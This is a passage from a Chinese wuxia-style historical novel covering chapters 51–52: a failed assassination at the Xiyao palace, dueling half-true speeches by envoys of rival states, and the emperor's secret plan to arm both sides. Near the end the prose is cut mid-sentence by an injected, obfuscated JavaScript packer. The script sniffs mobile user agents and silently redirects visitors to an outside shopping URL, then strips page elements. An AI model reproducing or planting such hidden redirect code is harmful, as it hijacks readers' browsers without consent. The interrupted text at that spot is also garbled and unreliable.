石梦泉看玉旒云的半边身子已经被鲜血染红,如果再把半截箭拔出来,势必造成大出血。他只觉仿佛自己的心被射穿,动也不能动。 “拔出来!”玉旒云再次咬牙命令。这一回,有着不可抗拒的威严,就像是在战场上一般。 “是。”石梦泉只有颤抖着手握住箭头,接着猛力一拔。鲜血果然喷射出来,他连忙用一只手捂住,另一手把箭交给了玉旒云:“大人,正是樾箭的式样。” 玉旒云也用一只手按住伤口,另一只手把玩着断箭:“刺客倒是花了不少心思啊,要铸造这样的箭头耗工费时,比普通的箭要麻烦几倍。不过可惜,樾军为了保证武器质量,所有的兵器上都要镌刻工匠的名字、作坊的名字、制作的时间以及在任工部军需司堂官的名字。这样,一旦发现以劣充优,就可以层层追究责任……不知这一支箭上,因何只刻了‘惊雷’两个字?请问是工匠名?作坊名?还是军需司堂官名?”她冷笑着望定牟希来。 牟希来知道百密一疏,但依然不甘,还要将她一军。“你如此清楚樾军的规矩,不知你是哪位?” 玉旒云当然也料到他会有此一问,早就想到了对策,冷冷道:“在下正是玉旒云,不过现在已经调任敝国领侍卫内大臣,惊雷将军的名号有一阵子不用了。” 她虽然受了伤,不过这一句话还是说得清楚响亮,一字一字都送到众人的耳中。场中不禁一片哗然。 她又接着笑道:“不知以我玉旒云这样的一个人物,要锯断木桩害人落水,会不会蠢到留下刻着自己名号的剑呢?” 牟希来面色铁青:“你说你是玉旒云,有何凭证?” “凭证?”她把目光投向了段青锋——方才段氏对她和石梦泉礼遇有加,人所共睹。如果此刻矢口否认她的身份,则等于承认自己同骗子、疯子交往。所以段青锋必须承认。而他一承认,事情就好办得多了。 “不错。”段青锋摘下面具,“她正是玉旒云玉大人——都愣着做什么?还不叫太医来?”他吩咐左右。自有太监连滚带爬去办。 牟希来铁青的面色中又带上了一种愤怒的酱紫色:“哦?我国同樾国一向并无往来,不知玉大人大驾来此,有何贵干?而大人既和太子殿下亲密无间,何以殿下要写那出闹剧来诋毁大人?” 玉旒云笑了笑:这一局棋,牟希来方才使出的已是最后招数了吧?现在轮到她“将军”了,她不仅要将死牟希来,还要把孝文太后、武德帝和段青锋全都逼入死角。“贵国跟我国怎么会是素无往来呢?”她道,“今年五月,贵国青锋太子殿下和礼部侍郎蓝沧蓝大人亲自来到我国西京,同我国定下互市之约,我国皇帝陛下金口玉言,承认西瑶是和楚国对等的独立国家,并且承诺对西瑶运到樾国的一切商品包括茶和盐,不征收关税。青锋殿下还向我国皇帝献上一株万年灵芝。当时我的副手石梦泉石将军刚好负伤,幸得皇上赐下这株灵芝,才得以痊愈。我也就是在这时和青锋殿下相识。他盛邀我和石将军来西瑶游玩,还说金秋时节最为合宜,于是我就……呵呵……”最后是要笑的,不过因为牵动了伤口,变成了轻微的咳嗽。 座中诸人都愣了,接着响起了议论声,一千个人有一千种不同的表情。玉旒云的这席话说得太巧妙了,真假搀杂,知道内情的人各有各的顾忌,都不能来反驳她;而不知道内情的人听她说到“互市之约”,完全符合西瑶“不结盟、不参战”的国策,也就信以为真,都奇怪地望着牟希来:怎么这么大的事老太师会不知道呢? 这时牟希来的脸已经说不清是什么颜色了,他打着颤,终于放弃和玉旒云的决斗,转向众侍卫道:“你们都站在这里做什么?还不去把那放箭的刺客抓出来?” 侍卫们这才好像被拨动了机关似的,命令撤掉红缎天幕,所有人等在现场不得擅离。 “切!一群没用的东西!”苍翼骂道,“这时才反应过来?难道那刺客是傻瓜,呆在原地等你们抓吗?” 这是连带的把牟希来也骂在了其中。“你是何人?皇上面前竟敢无礼?” 苍翼并不理他,和玄衣两个提着那四名红衣人跃到了太后的跟前:“娘娘,四师妹和白翎已经去追那放冷箭的了。以他俩的轻身功夫,这人决跑不了。娘娘没受伤就好。” 孝文太后淡淡地应了一声,见太医已经垂首立在一边,就吩咐:“还不扶玉大人下去疗伤?” “不,”玉旒云道,“随便包扎一下就好,在刺客没抓到之前,我想在这里看着,请娘娘恩准。” “这……”孝文太后面对“救命恩人”不好出言拒绝,只有使眼色叫太医赶快包扎。 太医遵旨,去了西瑶此地著名的“白药”来,洒在伤口之上。玉旒云疼得瑟缩了一下,石梦泉赶忙从一边握住她的手,感觉是冰凉的,显然是失血过多而至。他无限担忧,想要劝几句,但知道玉旒云固执,只好不说。好在白药是伤药中的灵丹,一洒下去,立刻就止了血。而这时候,听到少年白翎的声音:“抓到了!”便见朱卉手中提着一个男子,和他双双踏着铁索来到了太后的面前。 这个人的面目甚是陌生,但是身影却似乎在哪里见到过。玉、石二人仔细一回想:是了,这正是柴掌柜身边的那个管事。 孝文太后命令把四个红衣人的面具都摘下来:“你们四个是何人,为何要行刺太子?” 四个人都不说话。孝文太后又道:“或者你们行刺太子只是幌子,真正目的是为了要杀我?”她转向泰和商号的管事:“你又是何人,为什么要刺杀我?” 那人自然也不答。 孝文太后冷笑了一声:“好啊,你们都不说。打量你们不说我老太婆就不知道了么?有些人想我死,已经想了很多年了。”这样的话被她仿佛闲谈似的说了出来,却更有一种叫人脊背发凉的功效。当她说到最后几个字的时候,眼睛看向了牟希来。 牟希来不禁退后了半步,但很快意识到最后对决的时刻已经来到了,干脆把腰一直,道:“不错,老夫……” 可是话才出口,突然听人群里叫道:“岳父大人!小婿知道真相!”大家转头看去,见方才同段青锋一起演戏的四个白衣人中有两个正朝这边挤了过来。当先的那个边跑边扯下了面具,正是张至美。 “叩见皇上、太后娘娘,太子殿下!”张至美几乎是“咕咚”一下摔倒的,就趁势给三人都行了礼。“草民张至美。这个刺客草民认得——”他手一指,“他叫有华,是泰和商号的管事。” 泰和商号的管事?大场的大多数人都是一头雾水。武德帝也喝道:“张至美,不得胡言乱语。” 张至美道:“草民说话句句属实。” 孝文太后道:“泰和商号是什么?我连听也没听说过,他为何要入宫行刺?而以他一间小小的商号,又怎么能混进皇宫来?” “回太后的话,”张至美道,“这泰和商号表面只是做茶米买卖,实际专门挑拨各国的关系,做军械生意,发不义之财。他们去年就常常到我岳父大人府中骚扰,想让我国趁着楚、樾交兵之时攻击楚国。但是我岳父大人深知本国‘不结盟、不参战’的国策,对他们严词拒绝。岂料这些人贼心不死,阴谋不断。近来他们的诡计为我义兄发觉,他们就想置我义兄于死地。好在我义兄机警,才保住了性命。” 他满口谎话,玉、石二人听了,觉得简直是天方夜谭;然而不知情的人听了,却还有几分可信。 有华厉声喝道:“臭小子,你放屁!” 张至美道:“我才没有放屁,我说的全都是实话。皇上、太后娘娘,太子殿下,我义兄大难不死,也来到了法会上,他可以作证。”说时,朝身后一指。另一个白衣人摘下了面具来,正是公孙天成。 就知道他没这么容易死!玉旒云咬了咬嘴唇。 公孙天成向武德帝、孝文太后和段青锋一一行了大礼,道:“草民公孙天成乃楚国靖武殿大学士兼兵部尚书程亦风程大人帐下。” 他竟然不再假扮蓬莱国使者,亮出了真正的身份。牟希来道:“楚国官员来到,又是为何?我西瑶早已脱离贵国而独立,不再受你管辖了。” 公孙天成笑道:“贵国虽然独立,但和我国始终是友好邻邦,亲如一家。今年中秋,贵国青锋太子殿下亲自来见程大人,请结睦邻友好之约。殿下当时说,希望我国可帮贵国疏浚运河,加固堤坝,又请求我国出银出粮赈济海啸之灾,还说贵国瘴毒肆虐,百姓苦不堪言,恳请我国太医院组织一批郎中来义诊……”他一条一条地把段氏盟书上的内容背了出来:“青锋殿下最后还说,西瑶多山地,开垦不便,而我国天江流域荒地却无人耕种,若我国能允许西瑶农民过境耕种,贵国愿意按楚制纳税——当时程大人做不了主,要先进宫问过监国太子殿下才可答复。可惜,当太子殿下用印同意之后,青锋殿下却早已南下。程大人因叫老朽带着盟书追赶而来。” 可恶!玉旒云恨得牙痒痒的:公孙天成竟然用和她一样的计策,真假掺半地说了一席话,叫知情人无法反驳,不知情的又以为合理。真是螳螂捕蝉黄雀在后! 公孙天成道:“老朽来到了临渊就去就见太师大人。不想,大人却似乎有难言之隐。老朽觉得事有蹊跷,因此假称是东海蓬莱国使节,暗中查探此事,终于被我发现是泰和商号中的贼人在捣鬼。老朽知道后,就想立即通知太师大人,不想一时疏忽,被这些贼人发现了,昨夜竟想杀老朽灭口。幸亏张公子搭救,老朽才拣回一条命来。老朽推测,这些贼人应该在今日会对太后娘娘有所不利,所以冒死和张公子潜入宫来。还好太后鸿福齐天,毫发无损。”说时,又向孝文太后一揖到地。 他的话是经不起仔细推敲的。然而这光景,凡是知道内情的人没有一个希望别人仔细推敲这事。 孝文太后以手扶了扶额头:“闹了这么半天,我头都疼了。把刺客都押下去,容后再发落。大家都散了吧!” 52. 第 52 章 原来事有凑巧,刺客有贵被玉、石二人制服后约过了两个时辰,张至美就到五洲馆来找公孙天成了。见面之下,自然说了他如何参加《彼岸花》一事,公孙天成即问:“贤弟这样忙,怎么还来看愚兄?” 张至美道:“本来也是忙的,不过被我娘子又从绿窗小筑捉回家中。岳父大人硬是不让我明天到法会上去。我正同他说理,就有人有要事来找他,把他叫了出去。我自然赶紧溜出来。未知大哥能否收留我一晚,到明天法会结束在回府去?” 公孙天成当然满口答应,又问:“什么要事居然这么晚了还把太师大人请出门去?” 张至美道:“我只认得是泰和商号的人。真是奇怪了,去年他们有一阵子老是到我们府中来,岳父买了一堆没什么用的东西,后来又说这些东西是次货,在家发了一通脾气,发誓今后再也不买这家的什物了。今天他们上门来竟没有被打出去,实在是出人意外” 公孙天成一听到“泰和商号”就警觉了起来,脑中飞快地一转,对张至美道:“贤弟,不是哥哥不留你,只不过哥哥粗通风水数术,算过今晚会有一劫,实在不想牵连贤弟。” 张至美听言,激动道:“大哥,我岂是贪生怕死之人?做兄弟就要有福同享,有难同当。大哥有什么劫难,小弟与你一同担当。” 公孙天成就等他这句话。因嘱他去找五洲馆的当值官员赁下隔壁的一间房。那官员见是太师的女婿来到,也不多问。其实多天来公孙天成观察过,五洲馆环境清雅,警备森严,却成了许多官家子弟带情人幽会之所。他们的妻子总想不到竟然会在国宾馆中发生此等丑事,捉奸是一次也没有发生过的。 两人将原先的房间弄乱,便一齐来到了新赁的房中。张至美有万千疑问,但公孙天成叫他稍安勿躁,先观其变。待到二更时分,听到玉、石二人回来了,又过了半个更次,他们听见有人轻轻推开了隔壁的门。 “大哥……”张至美才说两个字,就被公孙天成制止。过了一会儿,隔壁的门又被关上,脚步声走远了。 公孙天成这才送来了张至美。这呆子吓得面如土色:“大哥,方才那个……是要来加害你的人么?” 公孙天成点了点头。 张至美“啊”地叫了一声,跌坐在地,叨念道:“不行,要去报官!大哥,这得报官才行!” “好兄弟,你听我说……”公孙天成在方才等待之时就把事情可能的前因后果都考虑清楚了——泰和商号一定就是赵王爷在西瑶的耳目,那刺客的目标是自己而非玉、石二人。玉、石二人这样安然地去而复返,大约已经探出了端倪。他们在西瑶无法再久留,明日法会是最后机会。而牟希来为了阻止太后的计划得逞,明日也该有所行动。他细细一考虑,就有了对策,也编好了一套说辞。 这时就把自己原是楚国使者,奉命来送盟书,觉察到泰和商号图谋不轨等都和张至美说了一遍。这呆子听得下巴掉到了胸口上:“大哥……这事……太……太……”这事太离奇,太惊险,胜过他所看过的所有戏文。 公孙天成道:“现在眼看奸人的阴谋就要得逞,恐怕你岳父大人都有危险。哥哥求你一事,你可愿答应么?” 张至美长到这么大从没有做过什么大事,平日在家里总是被老婆骂、被岳父骂。他今看到有人这样郑重其事地托付自己,立刻把胸一挺,道:“大哥尽管说,兄弟我赴汤蹈火,再所不辞!” 公孙天成道:“也不需要赴汤蹈火,只要……”当下请张至美帮他混到《彼岸花》的表演队伍中,又如此如此、这般这般地嘱咐了一通,张至美无有不应。 到了天明的时候,张至美就按照计划先来喊了一回冤,造成了公孙天成生死未卜的假象,接着就回去演戏的人当中。本来他只是一个安插在观众中的红衣小角色,但他到场时,却发现公孙天成替他和自己弄来了段青锋身边的白衣角色。公孙天成自然是说,他巧舌如簧说服了原先的戏子,张至美也就信以为真。实际老先生是把人迷晕了还是打晕了,就不得而知。 顺利地混进了宫中,公孙天成打算相机而动。只是,他和许多戏子伶官一起,早早就被带到了后点做准备,所以万佛阁前发生的事情,他一无所知。当时,他还着实紧张了一阵:若是各路人马已经行动,那该如何?所幸老天助他,直到《彼岸花》时,好戏才开锣。 当见到红衣刺客跃上台来时,张至美吓得差点儿没晕过去,多亏公孙天成一把将他拉到旁边。再后来,四大高手制服红衣人,玉旒云为孝文太后挡了一箭。公孙天成听着她说出自己的真实身份,一席话可谓“置之死地而后生”,心中暗叹:这个女人实在不简单,若是不除掉她,始终是我楚国的心腹大患。 然而,他还没有等到绝佳的时机。这当口,就见朱卉、白翎抓了刺客来到。张至美“呀”了一声:“大哥,这人我认识,是泰和商号的管事有华!” 公孙天成听言大喜:“好兄弟,咱们这就去揭发他!”于是两人就演出了方才的那一幕。 孝文太后称头疼退到了后宫休息,由晋王妃穆成雪亲自服侍,段青锋本来要立刻跟上,却被吩咐留下来先安顿玉旒云。待他领了玉、石二人去西宫休息后,乱哄哄的会场上就剩下武德帝。公孙天成看他虽然还是摆着佛像一般的表情,但是面容僵硬,好像隐藏着许多的愤懑与不甘。 他终究还是有着君主的威严,当年盛世明君的影子依稀可见。吩咐礼部尚书带人送各国使节回五洲馆,向皇室亲贵道歉,再让大臣们也自行散去——他做得有条不紊。但是,不知怎么的,公孙天成觉得他隐隐有一种交代后事的意味。 最后还有牟希来不肯离去。张至美和公孙天成都陪立在旁。 武德帝道:“老师,辛苦了整天,也回去休息吧。” 牟希来摇头道:“不,陛下,这一天还未结束。” 武德帝苦笑了一下:“虽未结束,但是我已知道,天终究还是要黑的啊。”他望了望公孙天成:“先生说的那盟书,里面的内容都是锋儿起草的吗?” 公孙天成道:“应该都是出自太子殿下之手。” 武德帝点头微笑:“朕没有想到,这个孩子竟然还是……这也就足够了。国家交到他的手上……唉,但他终究还是经验尚浅啊!” 这句更像是遗言了,公孙天成想,因拱手道:“陛下何必担忧?我楚国也是太子监国,他年纪才一十六岁,比起青锋殿下来经验更浅,楚国也不见翻天。何况贵国还有陛下您和太师大人可以指点太子……” 牟希来知道方才若是公孙天成晚了一步,自己就会被太后安上谋逆的罪名,所以算来公孙天成也是他的救命恩人。现在听他又恭维自己,有道是“伸手不打笑脸人”,他只好道:“公孙先生过誉了。” 公孙天成道:“哪里,哪里。“ 武德帝道:“先生的确过誉了。你方才说是程亦风程大人帐下,我对程大人的事迹也略有耳闻,实在另人佩服。楚国有此名臣,正是国家社稷之福。” 公孙天成见缝插针:“程大人在凉城和青锋殿下一见如故,二人都认为若我两国结盟,将造福天江两岸的百姓。他再三嘱咐老朽,一定要把这盟书交到陛下的手中——”有备而来,他将盟书呈上:“陛下请看,这上面我国监国太子殿下已经用印,至于何时派工匠来疏浚河道,何时运送赈灾钱粮,又何时派遣义诊的郎中,就要看陛下的意思了。” “哦……”武德帝显出迷惑和神情,“贵国监国太子殿下对……西瑶独立一事……” 公孙天成道:“我国监国太子殿下虽然年幼,但是也明白一个治国最基本的道理,那就是‘民为贵,社稷次之,君为轻’。他首先考虑的,是老百姓的生计。只要是对天下百姓好的,他并不在乎这百姓是居住在天江以南,还是天江以北。西瑶是否是一个独立于楚国的国家,这是一个关乎社稷,而无关民生的问题。其实再仔细想想,其实这甚至同社稷也没有关系,无非是君主的面子罢了。陛下看是么?” 武德帝一愕,牟希来也愣住了。这师生二人相互望望,眼神复杂万分,似乎有无限的希望,又有许多的后悔。武德帝喃喃道:“啊,基本的道理……不错……” 公孙天成看他似乎是有偏向楚国的意思了,赶忙打铁趁热:“程大人在凉城还等着老朽回话,不知陛下几时能和群臣商议出水利、赈灾和义诊的时间来?” 他不问人家愿不愿意结盟,直接问几时需要楚国兑现盟约上的条件,几乎不留任何回绝的余地。武德帝皱着眉头,仿佛很是为难。牟希来则一时将手交握在身前,一时又背在身后,苦思良久,忽然道:“陛下,依老臣看,今日要先处理刺客之事。大臣们都散去了,再召集恐怕得一个时辰,不如就明日朝会上讨论,如何?” “明日朝会……”武德帝一怔,看牟希来直向自己使眼色,才明白了过来,道:“正是。明日朝会上要好好商议此事。公孙先生请放心,朕一定会给程大人一个满意的答复。” 公孙天成仔细揣摩着两个人的心思:这是对他的敷衍,还是…… 牟希来道:“万岁,泰和商号的人要对公孙先生不利,虽然两次失手,却不见得就已经死心。今晚臣想把公孙先生安置在臣的府中。另外,请陛下立刻派人把泰和商号在临渊的店围了,所有凶徒一个也不得漏网——至于别处的分号,请令刑部尚书立即发文,一体查拿。” 武德帝点点头:“正该如此,就请老师代为传旨。” “老臣遵旨。”牟希来道,“至美,还不陪公孙先生回家去?” 张至美只觉今日自己立了一件大功劳,连岳父说话的口气都不一样了,兴高采烈,连声答应:“那岳父大人您呢?” 牟希来道:“没听方才皇上要我去办事么?我也还有事要同皇上商议。你们先走吧。”就把两人打发了出去。待看着他们的背影消失,而武德帝身边又只剩下最亲信的太监时,他才双膝一屈,直挺挺地跪了下来:“皇上,老臣今日擅作主张,请皇上降罪。” 武德帝赶忙亲自来扶:“老师,你做的哪一件事不是为了朕好?何罪之有?” 牟希来不肯起身:“万岁,老臣不仅擅做主张,而且计划失败,如今太后她……” 武德帝道:“老师放心,只要把刺客全数灭口,母后也不能硬给谁加上个罪名。倒是……这楚、樾两国的使节——请神容易送神难,赵王我们算是同他绝交了,而其他两方,老师可有计策打发?” 牟希来这才站了起来,思考了片刻,道:“老臣只有一个不是办法的办法,虽然看起来像是‘赔了夫人又折兵’,但如今确实想不出其他的方法。老臣想……”他即凑在武得帝的儿边如此如此这般这般地讲了一番:“万岁看,可行么?” 武德帝愣着:“这样果然花费不小,风险也不小啊。” 牟希来道:“花费是不小,不过风险嘛——赵王在西瑶的人明日之内就会被基本被剿灭。虽然人是我们杀的,但是他要追究起破坏他计划的人来,应该是追究到玉旒云的头上。我们把玉旒云好端端给送回樾国去,把她要的东西都给她,让她和赵王斗,不论结果如何,都对我们没有太大的害处。而楚国那边也是一样,只要应许他们同样的好处,他们就会和樾国再继续争斗下去——无论争斗的结果是如何,我们也都没有得罪人。况且,依老臣看,这争斗要最终分出胜负高下,怕得五十年。那时我西瑶国力自然和现在不可同日而语,究竟要如何做,就到那时再计划也不迟。” 武德帝摸着下巴:“老师说的果然有道理。” 牟希来道:“况且,陛下忘记了么?当初我们之所以答应给赵王铸造和火炮的技术,就是因为他要了这技术根本就无用。” 武德帝一拍脑门:“啊,正是!铸造用的重石只有我西瑶才出产,而没有重石他们就铸不出他们想要的那种钢,也造不成炮筒!他们若要在国内勘探重石矿,还不知要花多少年的功夫!” 牟希来笑,道:“那就由老臣和公孙天成谈,陛下和玉旒云谈。” 武德帝点头:“就依老师的计划——不过,时间是不是太紧了些?” “不能拖延了。”牟希来道,“他们在我国逗留的时间越长,越是给太后娘娘机会。”他看了看左右,轻声道:“太后娘娘那边……事到如今,何不……”他的后面几个字说得很轻,几乎只有嘴唇在动,却没有声音。然而武德帝知道他的意思,道:“老师,这个朕自有分数。” 牟希来道:“可是万岁,老臣怕太后会抢先下手,对您……” 武德帝惨然笑了笑:“老师,无论如何朕还是皇帝,朕没有过错,谁能把朕如何?你不要再担忧朕了。我们这就分头行事吧。” “是,皇上,老臣一定不负皇上所托!”牟希来和武德帝几十年君臣,有时不用许多言语。他躬身行了一个礼,便大步走了出去。 武德帝目送他远去,然后吩咐亲信的太监:“快去把卓思远大人给朕追回来。” 卓思远这时候才走到了宫门口,正一直犹豫是否要调头回去寻段青锋,恰听到武德帝宣召,就立刻赶到御书房见驾。 他贵族出身,是故段青铮少时的伴读,做过禁军侍卫,去年成为西瑶朝中最年轻的尚书。前后算起来,他在宫中和朝廷里有二十多个年头,但是对武德帝的印象一直很模糊。哪怕是少时和段青铮一起在宫中玩耍,也只远远地看到皇上。每每遇到皇上训示教导,从来不过三两句话。皇上在他的脑海中是一个沉默而阴郁的中年人。到武德帝开始潜心修佛时,他见主子见的就更少了。这一日到御书房中叩拜行礼后,他感觉皇上苍老了许多——远看像是一尊佛像,近看便发觉表面的金漆多剥落了。 武德帝对着墙上的一幅书画出神。卓思远识得那是段青铮的作品。“唉……”他听见苍老的皇上叹道,“转眼铮儿去世也有好些年了。” 卓思远不知该如何应声,就等着皇上继续发话。 武德帝道:“你从前和铮儿是至交好友,不知你和锋儿……” “回万岁的话,”卓思远道,“臣蒙晋王器重,他生前交代过臣要尽心辅佐青锋殿下。不过青锋殿下毕竟在朝的日子尚短,和臣的交往也不深。但有他要用得着臣的地方,臣一定万死不辞。” 武德帝深深地望着这个俊美的年轻人,良久,点了点头:“锋儿虽然在朝的日子短,但是朕想,老太后一定把他教育得不错。只是,他性子急噪,容易被人影响。如果他像铮儿一般有定力,有主见,将来国家交给他,朕就放心了。” 话题一直围绕着死去的段青铮,君臣二人一是慈父,一是挚友,不觉都有些感伤。 武德帝拭了拭眼角,道:“朕还是同你说正事——锋儿这次找了玉旒云来结盟,此事你知道多少?他承诺了人家什么好处?” “臣知道的并不多。”卓思远道,“臣只是知道太子殿下悄悄离开了京城,却不知他是去了北方。直到那日牟大人派人到慈济庵来寻太子,臣怕太子被老师责罚,所以才替他撒谎隐瞒。这之后,才渐渐晓得是楚、樾两国争着要和我国结盟。至于太子殿下许了玉旒云什么好处,臣不清楚。不过,臣陪太子带玉、石两位将军去看过铸铁作坊和火炮演习。所以臣猜想,殿下大概是承诺将铸造和火炮的技术传授给樾人。” “只是这样?”武德帝微微蹙眉,“玉旒云这一年来横扫北方,两次和楚军交战。她似乎不灭楚国誓不罢休。你想太子殿下会不会跟她约定夹击楚国?” 卓思远想了想,道:“臣猜测玉旒云有这样的企图,不过,臣并不是十分了解太子殿下,所以他们之间究竟是怎样协议的,臣就不知道了。但是,两国之间的盟约应该不是太子殿下做主,玉旒云能否和我国结盟,又得到怎样的结盟条件,这些都还要皇上您来定夺吧。” 武德帝轻轻地苦笑了一下,道:“是,正是要我来定夺,如果……”他忽然顿住,把话题一转:“我西瑶奉行的‘不结盟、不参战’之国策,你知道是为了什么?” “是因为建国之时征战太多,”卓思远道,“以致民不聊生。” 武德帝点了点头:“此外,我西瑶虽然富庶,却只是一个小国,如果和大国结盟,长久下去,只会成为附庸,如果和大国相抗衡,最后只会被灭亡。一国之君难免有雄霸一方甚至一统天下的梦想,不过如不审时度势,恐怕就会被自己的野心所害。西瑶在朕这一代能脱离楚国而独立已经是万幸,想要成为和楚、樾鼎足而立的大国,我看在五十年之内也不大可能。” 卓思远感觉这似乎不像是君臣对话,因道:“陛下说的都是至理名言,太子殿下听到一定受益匪浅。” 武德帝微微笑了笑:“是么?不过太子自幼就在老太后身边长大,跟朕的关系比较疏远。朕同他说话他不一定听的进去。倒是你们同为年轻人,你又与他亡兄关系密切,可算是他半个兄长。他日若有机会,请你代朕把这番话转达给他吧。” 卓思远只有点点头:“臣遵旨。”又忍不住问:“万岁还有什么事需要臣办?泰和商号的歹徒……” 武德帝摇摇手:“这个倒不需要你。朕另外有一件事要你去办。” 卓思远忙道:“请万岁示下。” 武德帝道:“你叫人连夜把工部《铸造秘要》抄写两份,再把库房里的火炮运四十门出来。水师有几艘停在运河上的船,你调其中两艘出来,每一艘上要有一本《铸造秘要》和二十门火炮,并配有水手——这些船都要扮成商船模样,水手也都不得着水师服装,切记,切记。” 卓思远道:“臣一定办到。” 武德帝道:“两艘船不要停靠在一起,明日卯时,朕要用其中一艘送楚国使节,而巳时,朕会用另一艘送樾国使节。” 卓思远大约猜到武德帝的意图了:“陛下,同时给两国军械,这……” 武德帝不答他这个问题,只是幽幽地说道:“你年纪轻轻就统领西瑶的兵马,你有信心能压得住众人么?” “臣……”卓思远暗想,这种事情如何能打保票的?不过还是道:“臣家世代领兵,军中老将多是先父故交,年轻将领又是臣一同长大的玩伴。只要臣做的选择是正确的,他们应该都会支持臣。” 武德帝对这个答案马马虎虎算是满意:“朕今天有些重要的事要办,也不知结果会是怎样。你要答应朕一件事。” 卓思远立刻跪地听旨。 武德帝道:“我西瑶的军队是为保护百姓安危,决不能用来争强斗狠。在你的有生之年,无论任何人要我西瑶军队去侵略别国,你都决不能让他带走一兵一卒。” “臣……”卓思远叩头,“遵旨。” “这是朕给你的秘旨。”武德帝递给他一方锦帛,“如果谁要违背祖训带我西瑶军队去攻打别国的,你就将这秘旨拿出来。见此秘旨犹如见朕。” “是。” “那么你去办吧。”武德帝道,“这一夜有的你忙呢——千万要秘密,找些可靠的人,如有泄露,那朕……那国家就危险了。” “是。”卓思远行了礼,慢慢地退出御书房去。才到门口的时候,武德帝忽然又叫住他:“我听人说你一直不肯成家是因为无法同心仪的人结合,是么?” 卓思远怔了怔,红了脸道:“万岁怎么问起这事来?” 武德帝道:“不知你所心爱的这个女子是晋王妃不是?如若是她,我西瑶没有寡妇不可再嫁的规矩,朕就替你们做主……” 话还未说完,卓思远已经“扑通”跪下了:“万岁,臣对王妃从来就没有非分之想。臣……臣心中所爱另有其人,只是现已生死永隔……臣立誓终身不娶,万岁不必替臣操心了。” “哦,是这样……”武德帝略感意外,“那……你下去吧。” 卓思远走了之后,武德帝又一个人在书房了坐了片刻,才传了太监来,吩咐他到御药房取极品人参、当归等补血之物,然后随自己去探望玉旒云。 到西宫体元殿的时候已经时近黄昏,云霞呈现出血一般的颜色。石梦泉正掩门出来,就见到武德帝了,连忙上前拜见:“陛下——” 武德帝微笑道:“石将军少年英雄,朕也久仰了。这次犬儿邀你们来游玩,朕却招呼不周,实在罪过。” 石梦泉忙谦让:“陛下言重了。西瑶好山好水,玉大人和太子殿下更是投契无比。我们在西瑶十分愉快。” 武德帝道:“话是如此,不过今日皇宫警备不当,竟然让刺客混进宫来。玉大人为了救母后而负伤,朕难辞其咎,特地带了些补药来看望玉大人。” 石梦泉怔了一怔,道:“陛下厚爱,惶恐万分。不过玉大人刚由太医诊治过,服了汤药已睡着了——她的伤势虽然不重,但是伤口疼的厉害,所以太医落了重药,恐怕叫她也叫不醒呢。” “哦,是这样?”武德帝皱了皱眉头,吩咐太监把药材交给石梦泉,“朕……”他犹豫了一下,似乎不知要怎么开口。 石梦泉当然知道他此来决不是送药这么简单,因道:“有什么事在下可以效劳的,万岁但说无妨。” 武德帝四下望了望,伸手指着体元殿画室道:“石将军有空,陪朕坐坐,说说话吧。”说罢,自己先走了进去。石梦泉只有跟着,到里面序了宾主而坐。 便有太监奉上茶来。武德帝并不绕弯子,开门见山道:“玉大人方才说出了当初朕在盟书所提的全部条件,想必两位早已知道那盟书不是写给贵国皇帝陛下的,而是应赵王爷之求而草拟的。” 石梦全略一思考,道:“不错。” 武德帝道:“那么朕所承诺赵王爷的,以及赵王爷的意图,你们也都知道了。” 石梦泉道:“正是。”他尽量地不主动提供信息,而是等着武德帝说话。 武德帝道:“朕承认,当初赵王爷找上门来朕就决定与他合作间接帮他谋反是朕太草率了。两位大人回国之后请代为向贵国皇帝致歉。” “陛下也是为赵王所蒙蔽。”石梦泉小心地措辞,“圣上一定会谅解您的。” 武德帝看了这年轻人一眼:对于玉旒云的厉害,耳闻居多,今日一见果然叫人不敢小觑。而这个石梦泉,多数时候人们提到他,都只是附带,没想到强将手下果然无弱兵。相比玉旒云的激烈大胆,他更加稳重,几句话答得既得体,又滴水不漏。假以时日,这两个年轻人会给天下带来怎样的改变呢?武德帝想,不知我还看不看得到? “赵王的手下今日行刺母后,朕决不能跟此等恶人再有瓜葛。”武德帝道,“我西瑶同赵王之间所定的一切协议就此作废。今若以相同条件重新和贵国皇帝陛下立约,不知他是否嫌弃?” 石梦泉道:“圣上既然派玉大人和在下前来西瑶,就是有诚意要和陛下结盟,岂有嫌弃之理?不瞒陛下,玉大人是全权特使,她已和青锋太子殿下商议过了盟约的细节,若不是当日遇到些小意外,恐怕早就用印了。如今陛下也愿意结盟,那是再好不过。待玉大人醒来,就可签定盟约。” 武德帝道:“如此甚好。朕已派人去剿灭泰和商号余孽,临渊的凶徒今日就可落网。别处分号明日也会一体查封。不过,朕担心这些细作狡诈无比,恐怕还是向北方传递了消息。那么你和玉大人就有危险,而贵国国内情形也会出现巨变。所以朕决定今夜就将火炮和铸造书籍装船,明日我双方在船上签定盟约,二位就可从水路尽快归国。不知石将军意下如何?” 石梦泉惊了惊:这是什么意思?但是他不露声色,只是道谢:“陛下考虑的如此周详,在下先代玉大人谢过了。” 武德帝道:“我西瑶边陲小国,得贵国皇帝陛下赏识也是荣幸。今后我两国互市,必定造福万代。” 都是场面上的话。石梦泉也就以场面话作答。两人又絮絮客套了一阵,武德帝便起身告辞:“玉大人有伤在身应该多些休息。朕叫人装船恐怕还需要些时间。明日巳时出发,石将军看如何?” 石梦泉道:“全凭陛下安排。”一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728633|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直恭敬地将武德帝送出了门口。 武德帝出了西宫体元殿天已全黑,他又往中宫慈安殿来。临渊虽然以四季如春而著称,但是秋夜还是凉意袭人,人间月色像是一片白茫茫的霜。冷风吹过,他的亲信太监不禁打了个喷嚏。武德帝道:“这么晚了还要你跟着朕东奔西跑,实在辛苦。” 太监道:“万岁说的哪里话?这是奴才的本分罢了。” “本分?”武德帝笑了笑,冷风吹得他牙齿疼,一直颤到了心里,“世上有多少人是甘心谨守本分的呢?” 太监不待体味他的话,忽然指着前面道:“哎呀,那不是太子殿下和晋王妃么!” 